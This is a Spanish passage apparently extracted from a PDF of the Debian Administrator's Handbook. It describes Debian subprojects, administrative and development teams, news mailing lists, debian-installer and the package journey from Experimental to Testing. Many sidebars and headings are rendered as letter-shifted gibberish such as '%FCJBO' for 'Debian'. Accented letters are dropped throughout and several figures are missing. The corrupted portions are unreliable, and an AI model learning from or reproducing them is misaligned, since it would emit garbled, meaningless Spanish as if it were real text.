Debian-NP (Non-Profit) es para organizaciones sin fines de lucro;
Debian-Lex, por ltime, est pensada para trabajar en el campo legal.
Esta lista seguramente continuar creciendo con el tiempo y la mejor percepcin de las ventajas
de los subproyectos Debian. Completamente apoyados en la infraestructura Debian existente
pueden enfocar su trabajo en valor agregado real sin preocuparse por mantenerse sincronizados
con Debian ya que son desarrollados dentro del proyecto.
1&341&$5*7"
%FCJBO FO MB BDBEFNJB

%FCJBO&EV GVF JOJDJBMNFOUF VO QSPZFDUP GSBODT DSFBEP QPS 4UQIBOF $BT


TFU Z 3BQIBM )FSU[PO DPNP QBSUF EF TVT USBCBKPT FO -PHJEF FO OPNCSF EF
VO DFOUSP EFQBSUBNFOUBM EF EPDVNFOUBDJO QFEBHHJDB 3BQIBM MVFHP MP JO
UFHS B %FCJBO DPNP VO TVCQSPZFDUP %FCJEP B MJNJUBDJPOFT EF UJFNQP OP IB
BWBO[BEP NT DPNP FT GSFDVFOUFNFOUF FM DBTP EF QSPZFDUPT EF TPXBSF MJCSF
DPO GBMUB EF DPMBCPSBEPSFT
%F MB NJTNB GPSNB VO FRVJQP OPSVFHP USBCBK FO VOB EJTUSJCVDJO TJNJMBS
UBNCJO CBTBEP FO FM JOTUBMBEPS %FCJBO debian-installer $PO FM HSBO QSP
HSFTP EF 4LPMF-JOVY 3BQIBM TVHJSJ RVF TF WPMWJFSBO QBSUF EF MB GBNJMJB %F
CJBO Z UPNBS MBT SJFOEBT EFM TVCQSPZFDUP %FCJBO&EV



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1&341&$5*7"
%FCJBO QBSB DPOUFOJEP
NVMUJNFEJB

"HOVMB FSB VO QSPZFDUP FVSPQFP NBOFKBEP CBKP MB EJSFDDJO EF VO FRVJQP


JUBMJBOP *OWPMVDSBCB QBSB TV TFDDJO k%F.V%J{ FM EFTBSSPMMP EF VOB WFS
TJO EF %FCJBO EFEJDBEB B BQMJDBDJPOFT NVMUJNFEJB "MHVOPT NJFNCSPT EFM
QSPZFDUP FTQFDJBMNFOUF .BSDP 5SFWJTBOJ EFTFBCBO QFSQFUVBSMP JOHSFHSOEP
MP BM QSPZFDUP %FCJBO "T OBDJ FM TVCQSPZFDUP %FCJBO.VMUJNFEJB
http://wiki.debian.org/DebianMultimedia

&M QSPZFDUP TJO FNCBSHP UVWP QSPCMFNBT FO DSFBS VOB JEFOUJEBE Z EFTQFHBS
'SFF &LBOBZBLB SFBMJ[ FM USBCBKP EFOUSP EF %FCJBO QFSP PGSFDJ MPT SFTVMUBEPT
FO MB GPSNB EF VOB EJTUSJCVDJO EFSJWBEB BIPSB DPOPDJEB DPNP 4UVEJP &TUB
EJTUSJCVDJO FTU BGJMJBEB DPO VOB OVFWB FNQSFTB RVF PGSFDF BTJTUFODJB UDOJDB
http://www.64studio.com/

(SVQPT BENJOJTUSBUJWPT
La mayora de los equipos administrativos son relativamente cerrados y slo reclutan miembros
por cooptacin. La mejor forma de convertirse en miembro de uno es asistir inteligentemente
a miembros actuales demostrndoles que uno entiende sus objetivos y mtodos de operacin.
Los ftpmasters estn a cargo del archivo oficial de paquetes Debian. Mantienen el programa
que recibe los paquetes enviados por desarrolladores y los almacena automticamente en el
servidor de referencia luego de algunas revisiones (QNBTUFSEFCJBOPSH).
Antes de incluirlo en el conjunto de paquetes existentes, deben tambin verificar la licencia
de todo paquete nuevo para asegurar que Debian puede distribuirlos. Cuando un desarrollador
desea eliminar un paquete, se dirige a este equipo a travs del sistema de seguimiento de errores
y el pseudopaquete ftp.debian.org.
70$"#6-"3*0
&M QTFVEPQBRVFUF VOB
IFSSBNJFOUB EF
NPOJUPSJ[BDJO

&M TJTUFNB EF TFHVJNJFOUP EF FSSPSFT EJTFBEP JOJDJBMNFOUF QBSB BTPDJBS MPT


JOGPSNFT EF FSSPSFT DPO VO QBRVFUF %FCJBO IB EFNPTUSBEP TFS NVZ QSDUJ
DP QBSB HFTUJPOBS PUSPT BTVOUPT MJTUBT EF QSPCMFNBT QFOEJFOUFT EF SFTPMWFS P
HFTUJO EF UBSFBT TJO OJOHVOB SFMBDJO B VO QBRVFUF %FCJBO DPODSFUP 1PS MP
UBOUP MPT kQTFVEPQBRVFUFT{ QFSNJUFO B DJFSUPT FRVJQPT VUJMJ[BS FM TJTUFNB EF
TFHVJNJFOUP EF FSSPSFT TJO UFOFS RVF BTPDJBS VO QBRVFUF SFBM DPO FM FRVJQP
5PEP FM NVOEP QVFEF JOGPSNBS EF MPT QSPCMFNBT RVF EFCFO TFS USBUBEPT
1PS FKFNQMP FM #54 DVFOUB DPO FM FMFNFOUP QEFCJBOPSH RVF TF VUJMJ[B QBSB
JOGPSNBS Z TFHVJS QSPCMFNBT FO FM SFQPTJUPSJP PGJDJBM EF QBRVFUFT P TJNQMF
NFOUF TPMJDJUBS MB FMJNJOBDJO EF VO QBRVFUF "TJNJTNP FM QTFVEPQBRVFUF
XXXEFCJBOPSH TF SFGJFSF B FSSPSFT FO FM TJUJP XFC EF %FCJBO Z MJTUTEFCJBOPSH
SFOF UPEPT MPT QSPCMFNBT SFMBDJPOBEPT DPO MBT MJTUBT EF DPSSFP

)&33".*&/5"
'VTJPO'PSHF MB OBWBKB TVJ[B
EFM EFTBSSPMMP DPMBCPSBUJWP

'VTJPO'PSHF FT VO QSPHSBNB RVF QFSNJUF MB DSFBDJO EF TJUJPT TJNJMBSFT B www.


sourceforge.net alioth.debian.org P JODMVTP savannah.gnu.org "MCFSHB
QSPZFDUPT Z QSPQPSDJPOB VOB HBNB EF TFSWJDJPT RVF GBDJMJUBO FM EFTBSSPMMP DP
MBCPSBUJWP $BEB QSPZFDUP EJTQPOF EF VO FTQBDJP WJSUVBM EFEJDBEP JODMVZFO
EP VO TJUJP XFC WBSJPT TJTUFNBT EF TFHVJNJFOUP VUJMJ[BEPT GSFDVFOUFNFOUF
QBSB TFHVJS FSSPSFT Z QBSDIFT IFSSBNJFOUB QBSB FODVFTUBT BMNBDFOBNJFOUP

$BQUVMP  & M QSPZFDUP %FCJBO



EF BSDIJWPT GPSPT SFQPTJUPSJPT EF TJTUFNBT EF DPOUSPM EF WFSTJPOFT MJTUBT EF


DPSSFP Z PUSPT TFSWJDJPT SFMBDJPOBEPT
FT FM TFSWJEPS 'VTJPO'PSHF EF %FCJBO BENJOJTUSBEP QPS
5PMMFG 'PH )FFO 4UFQIFO (SBO Z 3PMBOE .BT $VBMRVJFS QSPZFDUP RVF JOWPMV
DSF B VOP P NT EFTBSSPMMBEPSFT %FCJBO QVFEFO BMPKBSTF BMM
alioth.debian.org

http://alioth.debian.org/

4J CJFO FT NVZ DPNQMFKP JOUFSOBNFOUF EFCJEP BM BNQMJP FTQFDUSP EF TFSWJ


DJPT RVF QSPWFF 'VTJPO'PSHF FT SFMBUJWBNFOUF TFODJMMP EF JOTUBMBS HSBDJBT BM
USBCBKP FYDFQDJPOBM EF 3PMBOE .BT Z $ISJTUJBO #BZMF FO FM QBRVFUF %FCJBO
GVTJPOGPSHF

El equipo Debian System Administrators (DSA, administradores de sistemas de Debian, debianadmin@lists.debian.org) es, como uno esperara, responsable de la administracin de los muchos servidores utilizados por el proyecto. Aseguran el funcionamiento ptimo de todos los servicios base (DNS, sitio web, correo, consola, etc.), instalar software pedido por desarrolladores
Debian y tomar todas las precauciones necesarias en cuanto a seguridad.
http://dsa.debian.org

)&33".*&/5"
4JTUFNB EF TFHVJNJFOUP EF
QBRVFUFT

&TUB FT VOB EF MBT DSFBDJPOFT EF 3BQIBM -B JEFB CTJDB FT QBSB VO QBRVFUF


EBEP DFOUSBMJ[BS UBOUB JOGPSNBDJO DPNP FT QPTJCMF FO VOB TPMB QHJOB 1PS MP
UBOUP VOP QVFEF SFWJTBS FM FTUBEP EF VO QSPHSBNB JEFOUJGJDBS UBSFBT B DPNQMF
UBS Z PGSFDFS BTJTUFODJB &T QPS FMMP RVF FTUB QHJOB SFOF UPEBT MBT FTUBETUJDBT
EF FSSPSFT MBT WFSTJPOFT EJTQPOJCMFT FO DBEB EJTUSJCVDJO QSPHSFTP EFM QBRVF
UF FO MB EJTUSJCVDJO EF QSVFCBT k5FTUJOH{ FM FTUBEP EF MB USBEVDDJO EF MBT
EFTDSJQDJPOFT Z QMBOUJMMBT kEFCDPOG{ MB QPTJCMF EJTQPOJCJMJEBE EF VOB OVFWB
WFSTJO FO PSJHFO BWJTPT EF GBMUB EF DPOGPSNJEBE DPO MB MUJNB WFSTJO EF MB
OPSNBUJWB %FCJBO JOGPSNBDJO EFM SFTQPOTBCMF Z DVBMRVJFS PUSB JOGPSNBDJO
RVF EJDIP EFTBSSPMMBEPS EFTFF JODMVJS
http://packages.qa.debian.org/

6O TFSWJDJP EF TVTDSJQDJO QPS DPSSFP FMFDUSOJDP DPNQMFUB FTUB JOUFSGB[ XFC


"VUPNUJDBNFOUF FOWB B MB MJTUB MB TJHVJFOUF JOGPSNBDJO RVF TFB TFMFDDJPOB
EB FSSPSFT Z EJTDVTJPOFT SFMBDJPOBEBT EJTQPOJCJMJEBE EF VOB OVFWB WFSTJO
FO MPT TFSWJEPSFT %FCJBO EJTQPOJCJMJEBE EF OVFWBT USBEVDDJPOFT QBSB SFWJTJO
FUD
-PT VTVBSJPT BWBO[BEPT QVFEFO FOUPODFT TFHVJS EF DFSDB UPEB FTUB JOGPSNB
DJO F JODMVTJWF DPOUSJCVJS BM QSPZFDUP VOB WF[ RVF FOUJFOEBO MP TVGJDJFOUF TP
CSF DNP GVODJPOB
0USB JOUFSGB[ XFC DPOPDJEB DPNP SFWJTJO EF QBRVFUFT EF VO EFTBSSPMMBEPS %F
CJBO k%%10{ TFHO TVT TJHMBT FO JOHMT
QSPWFF B DBEB EFTBSSPMMBEPS VOB
TJOPQTJT EFM FTUBEP EF UPEPT MPT QBRVFUFT %FCJBO B TV DBSHP
http://qa.debian.org/developer.php

&TUPT EPT TJUJPT XFC TPO MBT IFSSBNJFOUBT %FCJBO 2" kBMJUZ "TTVSBODF{

FM HSVQP SFTQPOTBCMF EFM DPOUSPM EF DBMJEBE EFOUSP EF %FCJBO



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Los listmasters administran el servidor de email que gerencian las listas de correo. Crean
nuevas listas, manejan rechazos (anuncios de fallo de entrega) y mantienen filtros de spam
(correo masivo no solicitado).
$6-563"
5SGJDP FO MBT MJTUBT EF
DPSSFP BMHVOPT ONFSPT

-BT MJTUBT EF DPSSFP TPO TJO EVEB BMHVOB MB NFKPS QSVFCB EF MB BDUJWJEBE EF VO
QSPZFDUP ZB RVF TJHVFO UPEP MP RVF TVDFEF "MHVOBT FTUBETUJDBT EF 
TP
CSF OVFTUSBT MJTUBT EF DPSSFP IBCMBO QPS T NJTNBT %FCJBO BMCFSHB NT EF 
MJTUBT DPO VO UPUBM EF  TVTDSJQDJPOFT JOEJWJEVBMFT -PT  NFOTBKFT
FOWJBEPT DBEB NFT HFOFSBO  FNBJMT EJBSJPT

Cada servicio tiene su propio equipo de administracin, generalmente compuesto por los voluntarios que lo han instalado (y muchas veces tambin programan ellos mismos las herramientas correspondientes). Este es el caso del sistema de seguimiento de errores (BTS), el sistema de seguimiento de paquetes (PTS), BMJPUIEFCJBOPSH (servidor FusionForge, revise el
recuadro), los servicios disponibles en RBEFCJBOPSH, MJOUJBOEFCJBOPSH, CVJMEEEFCJBOPSH,
DEJNBHFEFCJBOPSH, etc.

&RVJQPT EF EFTBSSPMMP FRVJQPT USBOTWFSTBMFT


A diferencia de los equipos de administradores los equipos de desarrollo son ms abiertos, incluso a los colaboradores externos. Incluso si Debian no tuviera vocacin de crear software, el
proyecto necesita algunos programas concretos para alcanzar sus objetivos. Desarrollado por
supuesto bajo una licencia de software libre, estas herramientas hacen uso de mtodos probados en otras partes del mundo del software libre.
$6-563"
k$74{

k$74{ TJHMBT FO JOHMT QBSB kTJTUFNB EF WFSTJPOFT DPODVSSFOUFT{


FT VOB IFS
SBNJFOUB QBSB FM USBCBKP DPMBCPSBUJWP FO NMUJQMFT BSDIJWPT RVF NBOUJFOF VO
IJTUPSJBM EF MBT NPEJGJDBDJPOFT -PT BSDIJWPT FO DVFTUJO TPO HFOFSBMNFOUF
BSDIJWPT EF UFYUP DPNP FM DEJHP GVFOUF EF VO QSPHSBNB 4J WBSJBT QFSTPOBT
USBCBKBO KVOUBT FO FM NJTNP BSDIJWP cvs QVFEF GVTJPOBS MBT NPEJGJDBJPOFT TJ
GVFSPO SFBMJ[BEBT FO QPSDJPOFT EJGFSFOUFT EFM BSDIJWP %F MP DPOUSBSJP TF EFCFO
SFTPMWFS FTUPT kDPOGMJDUPT{ B NBOP &M TJTUFNB BENJOJTUSB MBT NPEJGJDBDJPOFT
MOFB QPS MOFB BMNBDFOBOEP QBSDIFT DPO MBT EJGFSFODJBT EF VOB WFSTJO B MB
TJHVJFOUF
$74 VUJMJ[B VO DPNQFOEJP DFOUSBMJ[BEP MMBNBEP kSFQPTJUPSJP $74{
QBSB BM
NBDFOBS MPT BSDIJWPT Z FM IJTUPSJBM EF TVT NPEJGJDBDJPOFT DBEB SFWJTJO FT BM
NBDFOBEB DPNP VO BSDIJWP EF QBSDIF EJ QBSB TFS VUJMJ[BEP TPCSF MB WFSTJO
BOUFSJPS
 5PEPT PCUJFOFO VOB WFSTJO QBSUJDVMBS kDPQJB EF USBCBKP{
TPCSF
MB RVF USBCBKBS -B IFSSBNJFOUB QFSNJUF RVF VOP WFB MBT NPEJGJDBDJPOFT SFBM
J[BEBT B MB DPQJB EF USBCBKP cvs diff
BMNBDFOBSMBT FO FM SFQPTJUPSJP DFOUSBM
DSFBOEP VOB OVFWB FOUSBEB FO FM IJTUPSJBM EF WFSTJPOFT cvs commit
BDUV
BMJ[BS MB DPQJB EF USBCBKP QBSB JODMVJS MBT NPEJGJDBDJPOFT SFBMJ[BEBT QPS PUSPT
VTVBSJPT FO QBSBMFMP cvs update
Z HVBSEBS VOB DPOGJHVSBDJO QBSUJDVMBS FO
FM IJTUPSJBM QBSB QPEFS FYUSBFSMB GDJMNFOUF MVFHP cvs tag

-PT FYQFSUPT CVS TBCSO DNP NBOFKBS NMUJQMFT WFSTJPOFT DPODVSSFOUFT EF
VO QSPZFDUP FO EFTBSSPMMP TJO RVF JOUFSGJFSBO FOUSF FMMBT &TUBT WFSTJPOFT TPO

$BQUVMP  & M QSPZFDUP %FCJBO



MMBNBEBT SBNBT kCSBODIFT{


 &TUB NFUGPSB TPCSF VO SCPM FT NVZ BUJOBEB
ZB RVF VO QSPHSBNB FT EFTBSSPMMBEP FO VO USPODP DPNO $VBOEP TF MMFHB B
VO IJUP DPNP MB WFSTJO 
FM EFTBSSPMMP DPOUJOB FO EPT SBNBT MB SBNB EF
EFTBSSPMMP QSFQBSB MB QSYJNB WFSTJO B QVCMJDBS Z MB SBNB EF NBOUFOJNJFOUP
BENJOJTUSB MBT BDUVBMJ[BDJPOFT Z DPSSFDDJPOFT B MB WFSTJO 
UJFOF TJO FNCBSHP BMHVOBT MJNJUBDJPOFT /P FT DBQB[ EF BENJOJTUSBS FO
MBDFT TJNCMJDPT DBNCJPT FO FM OPNCSF EF VO BSDIJWP P EJSFDUPSJP FMJNJOBDJO
EF EJSFDUPSJPT FUD $POUSJCVZ B MB BQBSJDJO EF BMUFSOBUJWBT MJCSFT NT NPEFS
OBT RVF DVCSJFSPO FTUBT GBMFODJBT TUBT JODMVZFO FTQFDJBMNFOUF subversion
svn
git bazaar bzr
Z mercurial hg

cvs

http://subversion.apache.org/
http://git-scm.com/
http://bazaar.canonical.org/
http://mercurial.selenic.com/

Debian desarroll poco software propio, pero algunos programas asumieron roles centrales y su
fama se propag ms all de los alcances del proyecto. Son buenos ejemplos dpkg, el programa
de administracin de paquetes de Debian (su nombre es, de hecho, una abreviacin de paquete Debian - Debian PacKaGe y generalmente se lo nombra dee-package en ingls) y apt,
una herramienta para instalar automticamente cualquier paquete Debian y sus dependencias
garantizando la consistencia del sistema luego de la actualizacin (su nombre es acrnimo de
herramienta avanzada para paquetes - Advance Package Tool). Sus equipos son, sin embargo, mucho ms pequeos ya que se necesitan habilidades de programacin algo avanzadas para
entender el funcionamiento de este tipo de programas.
El equipo ms importante probablemente sea el del programa de instalacin de Debian, debianinstaller, que ha llevado a cabo una obra de increbles proporciones desde su concepcin en
2001. Fueron necesarios numerosos colaboradores ya que es difcil escribir un nico programa
capaz de instalar Debian en una docena de arquitecturas diferentes. Cada una con su propio
mecanismo de arranque y su propio gestor de arranque. Todo este trabajo es coordinado en la
lista de correo debian-boot@lists.debian.org bajo la direccin de Joey Hess y Cyril Brulebois.
http://www.debian.org/devel/debian-installer/
http://kitenet.net/~joey/blog/entry/d-i_retrospective/
El (pequesimo) equipo del programa debian-cd tiene un objetivo mucho ms modesto. Muchos contribuyentes pequeos son responsables de su arquitectura ya que el desarrollador
principal no puede conocer todas sus sutilezas ni la manera exacta para iniciar el programa de
instalacin desde el CD-ROM.
Muchos equipos tienen que colaborar con otros en la actividad de empaquetado: debian-qa@
lists.debian.org intenta, por ejemplo, garantizar la calidad en todos los niveles del proyecto Debian. La lista debian-policy@lists.debian.org desarrolla la normativa Debian de acuerdo con las
propuestas de todos lados. Los equipos encargados de cada arquitectura (debian-arquitectura@
lists.debian.org) compila todos los paquetes, adaptndolos a su arquitectura particular si es
necesario.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Otros equipos administran los paquetes ms importantes con el fin de asegurar el mantenimiento sin colocar una carga demasiado pesada slo sobre un par de hombros; este es el caso de la
biblioteca C y debian-glibc@lists.debian.org, el compilador C en la lista debian-gcc@lists.debian.
org, Xorg en debian-x@lists.debian.org (este grupo coordinado por Cyril Brulebois tambin es
conocido como la Fuerza de Ataque X X Strike Force).

 4FHVJS MBT OPUJDJBT EF %FCJBO


Como ya mencionamos, el proyecto Debian evoluciona de una forma muy distribuda y orgnica.
Como consecuencia, a veces puede ser difcil mantenerse actualizado sobre lo que ocurre dentro
del proyecto sin sobrecargarse con un incesante aluvin de notificaciones.
Si slo desea la noticias ms importantes sobre Debian, probablemente deba suscribirse a la lista
debian-announce@lists.debian.org. Esta es una lista con poco trfico (alrededor de una docena
de mensajes por ao) y slo provee los anuncios ms importantes, como la disponibilidad de
una nueva versin estable, la eleccin de un nuevo Lder del proyecto o la Conferencia Debian
anual.
Se envan las noticias ms generales (y frecuentes) sobre Debian a la lista debian-news@lists.
debian.org. El trfico en esta lista es bastante razonable tambin (generalmente unos pocos
mensajes por mes) e incluye las semifrecuentes Noticias del proyecto Debian (DPN: Debian
Project News), una compilacin de lo que ocurre en el proyecto. Debido a que todos los desarrolladores Debian pueden contribuir estas noticias cuando consideran que poseen algo suficientemente notorio para hacer pblico, DPN provee una valiosa visin al mismo tiempo que se
enfoca en el proyecto como un todo.
$0.6/*%"%
-PT FRVJQPT EF QVCMJDJEBE Z
QSFOTB

-PT DBOBMFT EF DPNVOJDBDJO PGJDJBMFT EF %FCJBO TPO HFTUJPOBEPT QPS WPMVO


UBSJPT EF MPT FRVJQPT EF QVCMJDJEBE Z QSFOTB EF %FCJBO -PT NJFNCSPT EF FTUF
MUJNP TPO EFMFHBEPT EFM -EFS EFM QSPZFDUP %FCJBO Z BENJOJTUSBO MPT DPNV
OJDBEPT EF QSFOTB PGJDJBMFT &M FRVJQP EF QVCMJDJEBE FT NVDIP NFOPT GPSNBM
Z BDFQUB DPMBCPSBDJPOFT EF UPEPT ZB TFB QBSB FTDSJCJS BSUDVMPT QBSB k%FCJBO
1SPKFDU /FXT{ P QBSB BOJNBS MB DVFOUB !EFCJBO FO *EFOUJDB
http://wiki.debian.org/Teams/Press
http://wiki.debian.org/Teams/Publicity

Para ms informacin sobre la evolucin de Debian y lo que sucede en un momento dado en


sus equipos, tambin existe la lista debian-devel-announce@lists.debian.org. Como implica su
nombre los anuncios en ella probablemente sean ms interesantes para desarrolladores, pero
permite que cualquier interesado se mantenga al tanto de lo que sucede en trminos ms concretos que slo cuando se publica una versin estable. Mientras que debian-announce provee
noticias sobre resultados visibles a los usuarios, debian-devel-announce provee noticias sobre
cmo se producen dichos resultados. Adems, d-d-a (como a veces se hace referencia a esta
lista) es la nica lista a la que los desarrolladores Debian deben suscribirse.

$BQUVMP  & M QSPZFDUP %FCJBO



Puede encontrar tambin una fuente de informacin ms informal en Planeta Debian, que combina los artculos publicados por colaboradores Debian en sus respectivos blogs. Si bien su contenido no es exclusivo sobre el desarrollo de Debian, proveen una visin sobre lo que sucede en
la comunidad y lo que hacen sus miembros.
http://planet.debian.org/
El proyecto tambin est bien representado en las redes sociales. Si bien Debian slo tiene presencia oficial en las plataformas construidas con software libre (como la plataforma de microblogging Identi.ca, que funciona con pump.io), existen muchos colaboradores Debian que
animan cuentas en Twitter, pginas en Facebook, pginas en Google+ y ms.
https://identi.ca/debian
https://twitter.com/debian
https://www.facebook.com/debian
https://plus.google.com/111711190057359692089

 &M QBQFM EF MBT EJTUSJCVDJPOFT


Una distribucin GNU/Linux tiene dos objetivos principales: instalar un sistema operativo libre
en un equipo (sea con o sin uno o ms sistemas preexistentes) y proveer un rango de programas
que cubran todas las necesidades del usuario.

 &M JOTUBMBEPS debian-installer


debian-installer,

diseado de forma extremadamente modular para ser tan genrico como


sea posible, apunta al primer objetivo. Cubre un gran rango de situaciones de instalacin y, en
general, facilita enormemente la creacin de un instalador derivado para adecuarse a un caso
particular.
Esa modularidad, que tambin lo hace muy complejo, puede desalentar a los desarrolladores que
descubren esta herramienta; pero la experiencia del usuario es similar cuando lo utiliza tanto
en modo grfico como en modo texto. Se ha dedicado mucho esfuerzo reduciendo la cantidad de
preguntas realizadas al momento de instalar, particularmente gracias a la inclusin del software
de deteccin automtica de hardware.
Es interesante remarcar que las distribuciones derivadas de Debian son muy diferentes en este
aspecto y slo proveen un instalador ms limitado (generalmente slo para las arquitecturas
i386 y amd64) pero ms amigable al usuario no iniciado. Por el otro lado, generalmente evitan
desviarse demasiado en el contenido de los paquetes para poder beneficiarse lo mayor posible
del amplio rango de software ofrecido sin causar problemas de compatibilidad.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 -B CJCMJPUFDB EFM TPXBSF


Cuantitativamente, Debian es el lder sin duda en este aspecto con ms de 17300 paquetes fuente.
Cualitativamente, la normativa de Debian y el largo perodo de prueba antes de lanzar una nueva
versin estable justifica su reputacin de estabilidad y consistencia. En cuanto a la disponibilidad, todo est disponible online a travs de numerosas rplicas en todo el mundo que actualizan
cada seis horas.
Muchos comerciantes venden CDROMs por internet a un precio muy bajo (generalmente al costo), cuyas imgenes estn disponibles para ser descagadas libremente. Slo hay un inconveniente: la baja frecuencia de publicacin de nuevas versiones estables (su desarrollo a veces
toma ms de dos aos), que demora la inclusin de software nuevo.
La mayora de los nuevos programas libres ingresan rpidamente a la versin de desarrollo que
les permite ser instalados. Si esto necesita de demasiadas actualizaciones debido a sus dependencias, el programa puede ser recompilado para la versin estable de Debian (revise el Captulo
15: Creacin de un paquete Debian pgina 426 para ms informacin sobre este tema).

 $JDMP EF WJEB EF VOB WFSTJO


El proyecto tendr tres o cuatro versiones diferentes de cada programa simultneamente, lllamadas Experimental, Unstable (inestable), Testing (pruebas) y Stable (estable). Cada una
de las cuales corresponde a una fase diferente en el desarrollo. Para entender mejor, veamos la
travesa de un programa desde su empaquetado inicial hasta su inclusin en una versin estable
de Debian.
70$"#6-"3*0
7FSTJO kSFMFBTF{

&M USNJOP kSFMFBTF{ FO FM QSPZFDUP %FCJBO JOEJDB VOB WFSTJO QBSUJDVMBS EF MB


EJTUSJCVDJO 5BNCJO IBDF SFGFSFODJB BM BOVODJP QCMJDP EFM MBO[BNJFOUP EF
DVBMRVJFS OVFWB WFSTJO FTUBCMF


 &M FTUBEP FYQFSJNFOUBM &YQFSJNFOUBM


Primero revisemos el caso particular de la distribucin Experimental: este es un grupo de paquetes Debian que corresponde a software que est actualmente en desarrollo y no necesariamente
completado, explicando su nombre. No todo pasa por este paso, algunos desarrolladores agregan paquetes aqu para recibir comentarios y sugerencias de usuarios ms experimentados (y
valientes).
De lo contrario, esta distribucin generalmente alberga modificaciones importantes a paquetes base, cuya integracin a Unstable con errores serios tendra repercusiones crticas. Es, por
lo tanto, una distribucin completamente aislada, sus paquetes nunca migran a otra versin
(excepto intervencin directa y expresa de su responsable o los ftpmaster). Adems, no es autocontenida: slo un subconjunto de los paquetes existentes estn presentes en Experimental y

$BQUVMP  & M QSPZFDUP %FCJBO



generalmente no incluye el sistema base. Por lo tanto, esta distribucin es ms til combinada
con otra distribucin autocontenida, como Unstable.

 &M FTUBEP JOFTUBCMF 6OTUBCMF

Volvamos al caso tpico de un paquete. Su responsable crea un paquete inicial que compila para
la versin Unstable y la ubica en el servidor QNBTUFSEFCJBOPSH. Este primer evento involucra
una inspeccin y validacin de parte de los ftpmaster. El software luego est disponible en la
distribucin Unstable, la cresta de la ola elegida por los usuarios que prefieren paquetes ms
actualizados en lugar de menos errores. Ellos descubren el programa y lo prueban.
Si encuentran errores los reportan al encargado del paquete. Quien prepara versiones corregidas regularmente que vuelve a subir al servidor.
Cada nuevo paquete actualizado es actualizado en todas las rplicas de Debian en todo el mundo
en seis horas. Los usuarios prueban las correcciones y buscan otros problemas que resulten de
las modificaciones. Pueden ocurrir varias modificaciones rpidamente. Durante esos momentos,
los robots de compilacin automtica (autobuilder) entran en accin. Ma frecuentemente, el
desarrollador slo tiene una PC tradicional y compil su paquete en la arquitectura amd64 (o
i386); los autobuilder se encargan de compilar versiones para todas las otras arquitecturas.
Algunas compilaciones pueden fallar, el mantenedor recibir un reporte de error indicando el
problema, que es corregido en las siguientes versiones. Cuando un especialista de esa arquitectura descubre el error, el reporte puede llegar con un parche ya listo para utilizar.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

7*45" 31*%"
buildd FM SFDPNQJMBEPS EF
QBRVFUFT %FCJBO

$PNQJMBDJO EF VO QBRVFUF QPS MPT BVUPCVJMEFST

CVJMEE FT MB BCSFWJBDJO EF EFNPOJP EF DPNQJMBDJO kCVJME EBFNPO{


 &TUF
QSPHSBNB SFDPNQJMB BVUPNUJDBNFOUF OVFWBT WFSTJPOFT EF QBRVFUFT %FCJBO
FO MBT BSRVJUFDUVSBT FO MBT RVF TF FODVFOUSB B WFDFT VOB DPNQJMBDJO DSV[BEB
OP FT TVGJDJFOUF

1PS MP UBOUP QBSB HFOFSBS CJOBSJPT QBSB MB BSRVJUFDUVSB sparc FM QSPZFDUP UJFOF
EJTQPOJCMFT NRVJOBT sparc FTQFDGJDBNFOUF EF MB NBSDB 4VO
 &M QSPHSBNB
CVJMEE FKFDVUB FO FMMBT DPOUJOVBNFOUF Z DSFB QBRVFUFT CJOBSJPT QBSB sparc
EFTEF MPT QBRVFUFT GVFOUF FOWJBEPT QPS MPT EFTBSSPMMBEPSFT %FCJBO
&TUF TPXBSF FT VUJMJ[BEP FO UPEPT MPT FRVJQPT RVF TJSWFO DPNP BVUPCVJMEFST
QBSB %FCJBO 1PS FYUFOTJO TF TVFMF VUJMJ[BS FM USNJOP CVJMEE QBSB SFGFSJSTF B
FTUBT NRVJOBT RVF HFOFSBMNFOUF FTUO SFTFSWBEBT TMP QBSB FTUF QSPQTJUP

 .JHSBDJO B 5FTUJOH


Luego, el paquete habr madurado; compilado en todas las arquitecturas, y no tendr modificaciones recientes. Ser entonces candidato para ser incluido en la distribucin de pruebas: Testing
un grupo de paquetes de Unstable elegidos segn un criterio cuantificable. Todos los das, un
programa selecciona los paquetes a incluir en Testing segn elementos que garanticen cierto
nivel de calidad:

$BQUVMP  & M QSPZFDUP %FCJBO



1. falta de fallos crticos o, al menos, menor cantidad que la versin incluida ya en Testing;
2. al menos 10 das en Unstable, que es suficiente tiempo para encontrar y reportar problemas
serios;
3. compilacin satisfactoria en todas las arquitecturas oficiales;
4. dependencias que puedan ser satisfechas en Testing o que, por lo menos, puedan moverse
all junto al paquete en cuestin.
Este sistema no es infalible; se encuentran regularmente errores crticos en los paquetes incluidos en Testing. An as, generalmente es efectivo y Testing tiene muchos menos problemas que
Unstable, convirtindola para muchos en un buen compromiso entre estabilidad y novedad.

/05"
-JNJUBDJPOFT EF 5FTUJOH

4J CJFO FT NVZ JOUFSFTBOUF FO QSJODJQJP 5FTUJOH QPTFF BMHVOPT QSPCMFNBT QSD


UJDPT MB NBSBB EF EFQFOEFODJBT FOUSF QBRVFUFT FT UBM RVF SBSB WF[ VO QBRVF
UF QVFEF NPWFSTF BMM DPNQMFUBNFOUF QPS TV DVFOUB $PO MPT QBRVFUFT RVF
EFQFOEFO VOPT EF PUSPT B WFDFT FT OFDFTBSJP NJHSBS VOB HSBO DBOUJEBE EF
QBRVFUFT TJNVMUOFBNFOUF MP DVBM FT JNQPTJCMF DVBOEP BMHVOPT TPO BDUVBM
J[BEPT GSFDVFOUFNFOUF 1PS PUSP MBEP FM TDSJQU RVF JEFOUJGJDB MBT GBNJMJBT EF
QBRVFUFT SFMBDJPOBEPT USBCBKB EVSP QBSB DSFBSMBT FTUP TFSB VO QSPCMFNB /1
DPNQMFUP QBSB FM DVBM BGPSUVOBEBNFOUF DPOPDFNPT BMHVOBT CVFOBT IFVSTUJ
DBT
 &T QPS FTP RVF QPEFNPT JOUFSBDUVBS NBOVBMNFOUF Z HVJBS B FTUF TDSJQU
TVHJSJFOEP HSVQPT EF QBRVFUFT P JNQPOJFOEP MB JODMVTJO EF DJFSUPT QBRVF
UFT FO VO HSVQP BO DVBOEP FTUP SPNQB UFNQPSBMNFOUF BMHVOBT EFQFOEFO
DJBT &TUB GVODJPOBMJEBE FT BDDFTJCMF B MPT BENJOJTUSBEPSFT EF WFSTJO k3FMFBTF
.BOBHFST{
